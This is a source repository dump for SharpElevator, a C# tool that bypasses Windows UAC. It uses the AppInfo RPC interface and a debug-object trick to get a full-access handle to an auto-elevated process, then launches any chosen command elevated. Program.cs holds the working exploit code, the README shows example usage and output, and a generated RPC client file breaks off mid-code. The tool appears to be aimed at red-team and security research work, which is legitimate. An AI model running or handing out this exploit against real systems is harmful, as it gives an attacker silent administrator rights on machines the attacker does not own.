├── SharpElevator ├── FodyWeavers.xml ├── App.config ├── Properties │ └── AssemblyInfo.cs ├── packages.config ├── FodyWeavers.xsd ├── Program.cs ├── 201ef99a-7fa0-444c-9399-19ba84f12a1a_1.0.cs └── SharpElevator.csproj ├── LICENSE ├── SharpElevator.sln ├── README.md └── .gitignore /SharpElevator/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /SharpElevator/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Elad Shamir 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SharpElevator.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32630.192 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpElevator", "SharpElevator\SharpElevator.csproj", "{42BDEFC0-0BAE-43DF-97BB-C805ABFBD078}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {42BDEFC0-0BAE-43DF-97BB-C805ABFBD078}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {42BDEFC0-0BAE-43DF-97BB-C805ABFBD078}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {42BDEFC0-0BAE-43DF-97BB-C805ABFBD078}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {42BDEFC0-0BAE-43DF-97BB-C805ABFBD078}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {AE34557A-7F4D-42AD-9912-EF878F30D44C} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpElevator/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpElevator")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpElevator")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("42bdefc0-0bae-43df-97bb-c805abfbd078")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sharp Elevator 2 | 3 | SharpElevator is a C# implementation of [Elevator](https://github.com/Kudaes/Elevator) by Kurosh Dabbagh Escalante for UAC bypass. 4 | 5 | This UAC bypass was originally discovered by James Forshaw [(@tiraniddo)](https://twitter.com/tiraniddo) and published in his brilliant post at: 6 | [https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html](https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html) 7 | 8 | ## Usage 9 | SharpElevator.exe [/command:<command to execute>] [/arguments:<command line arguments>] 10 | [/unelevatedpath:<path>] [/elevatedpath:<path>] [/nowindow] [/newconsole] 11 | 12 | ### Arguments 13 | [/command:] Sets the command to executed in an elevated contex. 14 | Defaults to cmd.exe. 15 | 16 | [/arguments:] Sets the command line arguments. 17 | Defaults to blank. 18 | 19 | [/unelevatedpath:] Sets the path of a sacrificial program to launch in an unelevated context. 20 | Defaults to C:\Windows\System32\notepad.exe 21 | 22 | [/unelevatedpath:] Sets the path of a sacrificial auto-elevated program. 23 | Defaults to C:\Windows\System32\taskmgr.exe 24 | 25 | [/nowindow] Sets the NoWindow flag for the new process. 26 | Defaults to false. 27 | 28 | [/newconsole] Sets the NewConsole flag for the new process. 29 | Defaults to false. 30 | 31 | ### Example 32 | 33 | ``` 34 | ..>SharpElevator.exe /command:cmd.exe /arguments:"/ c powershell.exe" /newconsole 35 | 36 | [+] Unelevatad process created(C:\Windows\System32\notepad.exe) 37 | [+] Reference to debug object obtained 38 | [+] Terminated unelevated process 39 | [+] Detached debug object from unelevetad process 40 | [+] Elevatad process created(C:\Windows\System32\taskmgr.exe) 41 | [+] Initial process creation debug event retrieved 42 | [+] Obtained full access handle to elevated process 43 | [+] Terminated elevated process 44 | [+] Detached debug object from elevetad process 45 | [+] WOOT! Created elevated process cmd.exe /c powershell.exe 46 | ``` 47 | -------------------------------------------------------------------------------- /SharpElevator/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | -------------------------------------------------------------------------------- /SharpElevator/FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 23 | 24 | 25 | 26 | 27 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 28 | 29 | 30 | 31 | 32 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 38 | 39 | 40 | 41 | 42 | The order of preloaded assemblies, delimited with line breaks. 43 | 44 | 45 | 46 | 47 | 48 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 49 | 50 | 51 | 52 | 53 | Controls if .pdbs for reference assemblies are also embedded. 54 | 55 | 56 | 57 | 58 | Controls if runtime assemblies are also embedded. 59 | 60 | 61 | 62 | 63 | Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. 64 | 65 | 66 | 67 | 68 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 69 | 70 | 71 | 72 | 73 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 74 | 75 | 76 | 77 | 78 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 79 | 80 | 81 | 82 | 83 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 84 | 85 | 86 | 87 | 88 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 89 | 90 | 91 | 92 | 93 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 94 | 95 | 96 | 97 | 98 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 99 | 100 | 101 | 102 | 103 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. 104 | 105 | 106 | 107 | 108 | A list of unmanaged 32 bit assembly names to include, delimited with |. 109 | 110 | 111 | 112 | 113 | A list of unmanaged 64 bit assembly names to include, delimited with |. 114 | 115 | 116 | 117 | 118 | The order of preloaded assemblies, delimited with |. 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 127 | 128 | 129 | 130 | 131 | A comma-separated list of error codes that can be safely ignored in assembly verification. 132 | 133 | 134 | 135 | 136 | 'false' to turn off automatic generation of the XML Schema file. 137 | 138 | 139 | 140 | 141 | -------------------------------------------------------------------------------- /SharpElevator/Program.cs: -------------------------------------------------------------------------------- 1 | using NtApiDotNet; 2 | using NtApiDotNet.Ndr.Marshal; 3 | using NtApiDotNet.Win32; 4 | using rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0; 5 | using System; 6 | using System.Collections.Generic; 7 | using System.ComponentModel; 8 | using System.Runtime.InteropServices; 9 | using System.ServiceProcess; 10 | 11 | namespace LaunchUACAdmin 12 | { 13 | class Program 14 | { 15 | [DllImport("User32.dll")] 16 | static extern IntPtr GetDesktopWindow(); 17 | 18 | [Flags] 19 | enum StartFlags 20 | { 21 | None = 0, 22 | RunAsAdmin = 0x1, 23 | Unknown02 = 0x2, 24 | Unknown04 = 0x4, 25 | Wow64Path = 0x8, 26 | Unknown10 = 0x10, 27 | Unknown20 = 0x20, 28 | Unknown40 = 0x40, 29 | Untrusted = 0x80, 30 | CentennialElevation = 0x200, 31 | } 32 | 33 | static NtProcess LaunchAdminProcess(string executable, string cmdline, StartFlags flags, CreateProcessFlags create_flags, string desktop) 34 | { 35 | StartAppinfoService(); 36 | 37 | using (Client client = new Client()) 38 | { 39 | client.Connect(); 40 | create_flags |= CreateProcessFlags.UnicodeEnvironment; 41 | Struct_0 start_info = new Struct_0(); 42 | int retval = client.AiEnableDesktopRpcInterface(executable, cmdline, (int)flags, (int)create_flags, 43 | @"c:\windows", desktop, start_info, new NdrUInt3264(GetDesktopWindow()), 44 | -1, out Struct_2 proc_info, out int elev_type); 45 | if (retval != 0) 46 | { 47 | throw new Win32Exception(retval); 48 | } 49 | 50 | using (var thread = NtThread.FromHandle(new IntPtr(proc_info.Member8.Value))) 51 | { 52 | return NtProcess.FromHandle(new IntPtr(proc_info.Member0.Value)); 53 | } 54 | } 55 | } 56 | 57 | static void StartAppinfoService() 58 | { 59 | try 60 | { 61 | ServiceController service = new ServiceController("appinfo"); 62 | if (service.Status != ServiceControllerStatus.Running) 63 | { 64 | service.Start(); 65 | service.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(5)); 66 | } 67 | } 68 | catch 69 | { 70 | } 71 | } 72 | 73 | private static void PrintHelp() 74 | { 75 | string usage = @" 76 | SharpElevator is a C# implementation of Elevator by Kurosh Dabbagh Escalante for UAC bypass. 77 | 78 | This UAC bypass was originally discovered by James Forshaw (@tiraniddo) and published in his brilliant post at: 79 | https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html 80 | 81 | Usage: SharpElevator.exe [/command:] [/arguments:] 82 | [/unelevatedpath:] [/elevatedpath:] [/nowindow] [/newconsole] 83 | 84 | Arguments: 85 | [/command:] Sets the command to executed in an elevated contex. 86 | Defaults to cmd.exe. 87 | 88 | [/arguments:] Sets the command line arguments. 89 | Defaults to blank. 90 | 91 | [/unelevatedpath:] Sets the path of a sacrificial program to launch in an unelevated context. 92 | Defaults to C:\Windows\System32\notepad.exe 93 | 94 | [/unelevatedpath:] Sets the path of a sacrificial auto-elevated program. 95 | Defaults to C:\Windows\System32\taskmgr.exe 96 | 97 | [/nowindow] Sets the NoWindow flag for the new process. 98 | Defaults to false. 99 | 100 | [/newconsole] Sets the NewConsole flag for the new process. 101 | Defaults to false. 102 | 103 | Example: 104 | ..>SharpElevator.exe /command:cmd.exe /arguments:""/c powershell.exe"" /newconsole 105 | 106 | [+] Unelevatad process created(C:\Windows\System32\notepad.exe) 107 | [+] Reference to debug object obtained 108 | [+] Terminated unelevated process 109 | [+] Detached debug object from unelevetad process 110 | [+] Elevatad process created(C:\Windows\System32\taskmgr.exe) 111 | [+] Initial process creation debug event retrieved 112 | [+] Obtained full access handle to elevated process 113 | [+] Terminated elevated process 114 | [+] Detached debug object from elevetad process 115 | [+] WOOT! Created elevated process cmd.exe /c powershell.exe 116 | 117 | "; 118 | Console.WriteLine(usage); 119 | } 120 | 121 | static void Main(string[] args) 122 | { 123 | if (args.Length == 0) 124 | { 125 | PrintHelp(); 126 | return; 127 | } 128 | 129 | try 130 | { 131 | var arguments = new Dictionary(); 132 | for (int i = 0; i < args.Length; i++) 133 | { 134 | string argument = args[i]; 135 | var idx = argument.IndexOf(':'); 136 | if (idx > 0) 137 | { 138 | arguments[argument.Substring(1, idx - 1).ToLower()] = argument.Substring(idx + 1); 139 | } 140 | else 141 | { 142 | idx = argument.IndexOf('='); 143 | if (idx > 0) 144 | { 145 | arguments[argument.Substring(1, idx - 1).ToLower()] = argument.Substring(idx + 1); 146 | } 147 | else 148 | { 149 | arguments[argument.Substring(1).ToLower()] = string.Empty; 150 | } 151 | } 152 | } 153 | 154 | string unelevatedPath = @"C:\Windows\System32\notepad.exe"; 155 | string elevatedPath = @"C:\Windows\System32\taskmgr.exe"; 156 | string command = "cmd.exe"; 157 | string commandArguments = ""; 158 | bool newConsole = false; 159 | bool noWindow = false; 160 | 161 | if (arguments.ContainsKey("command") && !String.IsNullOrEmpty(arguments["command"])) 162 | { 163 | command = arguments["command"]; 164 | } 165 | if (arguments.ContainsKey("arguments") && !String.IsNullOrEmpty(arguments["arguments"])) 166 | { 167 | commandArguments = arguments["arguments"]; 168 | } 169 | if (arguments.ContainsKey("unelevatedpath") && !String.IsNullOrEmpty(arguments["unelevatedpath"])) 170 | { 171 | commandArguments = arguments["unelevatedpath"]; 172 | } 173 | if (arguments.ContainsKey("elevatedpath") && !String.IsNullOrEmpty(arguments["elevatedpath"])) 174 | { 175 | commandArguments = arguments["elevatedpath"]; 176 | } 177 | if (arguments.ContainsKey("newconsole")) 178 | { 179 | newConsole = true; 180 | } 181 | if (arguments.ContainsKey("nowindow")) 182 | { 183 | noWindow = true; 184 | } 185 | 186 | var unelevatedProcess = LaunchAdminProcess(unelevatedPath, null, StartFlags.None, CreateProcessFlags.UnicodeEnvironment | CreateProcessFlags.DebugProcess, @"WinSta0\Default"); 187 | Console.WriteLine("[+] Unelevatad process created ({0})", unelevatedPath); 188 | 189 | NtDebug debugObject = unelevatedProcess.OpenDebugObject(); 190 | if (debugObject == null) 191 | { 192 | throw new Exception("Could not obtain debug object"); 193 | } 194 | Console.WriteLine("[+] Reference to debug object obtained"); 195 | 196 | unelevatedProcess.Terminate(0); 197 | Console.WriteLine("[+] Terminated unelevated process"); 198 | 199 | NtStatus ntStatus = debugObject.Detach(unelevatedProcess, true); 200 | if (ntStatus != NtStatus.STATUS_SUCCESS) 201 | { 202 | throw new Exception("Could not detach debug object from unelevetad process"); 203 | } 204 | Console.WriteLine("[+] Detached debug object from unelevetad process"); 205 | 206 | var elevatedProcess = LaunchAdminProcess(elevatedPath, null, StartFlags.RunAsAdmin, CreateProcessFlags.UnicodeEnvironment | CreateProcessFlags.DebugProcess, @"WinSta0\Default"); 207 | Console.WriteLine("[+] Elevatad process created ({0})", elevatedPath); 208 | 209 | DebugEvent debugEvent = debugObject.WaitForDebugEvent(0); 210 | if (debugEvent == null) 211 | { 212 | throw new Exception("Could not retrieve initial process creation event"); 213 | } 214 | Console.WriteLine("[+] Initial process creation debug event retrieved"); 215 | 216 | IntPtr sourceHandle = (IntPtr)(-1); 217 | NtProcess newProcess = NtProcess.DuplicateFrom(((CreateProcessDebugEvent)debugEvent).Process, sourceHandle); 218 | Console.WriteLine("[+] Obtained full access handle to elevated process"); 219 | 220 | ((CreateProcessDebugEvent)debugEvent).Process.Terminate(0); 221 | Console.WriteLine("[+] Terminated elevated process"); 222 | 223 | ntStatus = debugObject.Detach(newProcess, true); 224 | if (ntStatus != NtStatus.STATUS_SUCCESS) 225 | { 226 | throw new Exception("Could not detach debug object from elevetad process"); 227 | } 228 | Console.WriteLine("[+] Detached debug object from elevetad process"); 229 | 230 | Win32ProcessConfig config = new Win32ProcessConfig(); 231 | 232 | config.CreationFlags = CreateProcessFlags.None; 233 | if (noWindow) 234 | { 235 | config.CreationFlags |= CreateProcessFlags.NoWindow; 236 | } 237 | if (newConsole) 238 | { 239 | config.CreationFlags |= CreateProcessFlags.NewConsole; 240 | } 241 | config.ParentProcess = newProcess; 242 | config.CommandLine = String.Format("{0} {1}", command, commandArguments); 243 | if (Win32Process.CreateProcess(config) != null) 244 | { 245 | Console.WriteLine("[+] WOOT! Created elevated process {0}", config.CommandLine); 246 | } 247 | } 248 | catch (Exception ex) 249 | { 250 | Console.Error.WriteLine("[X] {0}", ex.Message); 251 | } 252 | } 253 | } 254 | } 255 | -------------------------------------------------------------------------------- /SharpElevator/201ef99a-7fa0-444c-9399-19ba84f12a1a_1.0.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | // Source Executable: c:\windows\system32\appinfo.dll 12 | // Interface ID: 201ef99a-7fa0-444c-9399-19ba84f12a1a 13 | // Interface Version: 1.0 14 | // Client Generated: 8/29/2022 1:57:56 PM 15 | // NtApiDotNet Version: 1.1.33 16 | 17 | namespace rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0 18 | { 19 | 20 | #region Marshal Helpers 21 | internal class _Marshal_Helper : NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer 22 | { 23 | public void Write_0(Struct_0 p0) 24 | { 25 | WriteStruct(p0); 26 | } 27 | public void Write_1(Struct_1 p0) 28 | { 29 | WriteStruct(p0); 30 | } 31 | public void Write_2(Struct_2 p0) 32 | { 33 | WriteStruct(p0); 34 | } 35 | } 36 | internal class _Unmarshal_Helper : NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer 37 | { 38 | public _Unmarshal_Helper(NtApiDotNet.Win32.Rpc.RpcClientResponse r) : 39 | base(r.NdrBuffer, r.Handles, r.DataRepresentation) 40 | { 41 | } 42 | public _Unmarshal_Helper(byte[] ba) : 43 | base(ba) 44 | { 45 | } 46 | public Struct_0 Read_0() 47 | { 48 | return ReadStruct(); 49 | } 50 | public Struct_1 Read_1() 51 | { 52 | return ReadStruct(); 53 | } 54 | public Struct_2 Read_2() 55 | { 56 | return ReadStruct(); 57 | } 58 | } 59 | #endregion 60 | #region Complex Types 61 | public struct Struct_0 : NtApiDotNet.Ndr.Marshal.INdrStructure 62 | { 63 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Marshal(NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer m) 64 | { 65 | Marshal(((_Marshal_Helper)(m))); 66 | } 67 | private void Marshal(_Marshal_Helper m) 68 | { 69 | m.WriteEmbeddedPointer(Member0, new System.Action(m.WriteTerminatedString)); 70 | m.WriteInt32(Member8); 71 | m.WriteInt32(MemberC); 72 | m.WriteInt32(Member10); 73 | m.WriteInt32(Member14); 74 | m.WriteInt32(Member18); 75 | m.WriteInt32(Member1C); 76 | m.WriteInt32(Member20); 77 | m.WriteInt32(Member24); 78 | m.WriteInt16(Member28); 79 | m.Write_1(Member2C); 80 | } 81 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Unmarshal(NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer u) 82 | { 83 | Unmarshal(((_Unmarshal_Helper)(u))); 84 | } 85 | private void Unmarshal(_Unmarshal_Helper u) 86 | { 87 | Member0 = u.ReadEmbeddedPointer(new System.Func(u.ReadConformantVaryingString), false); 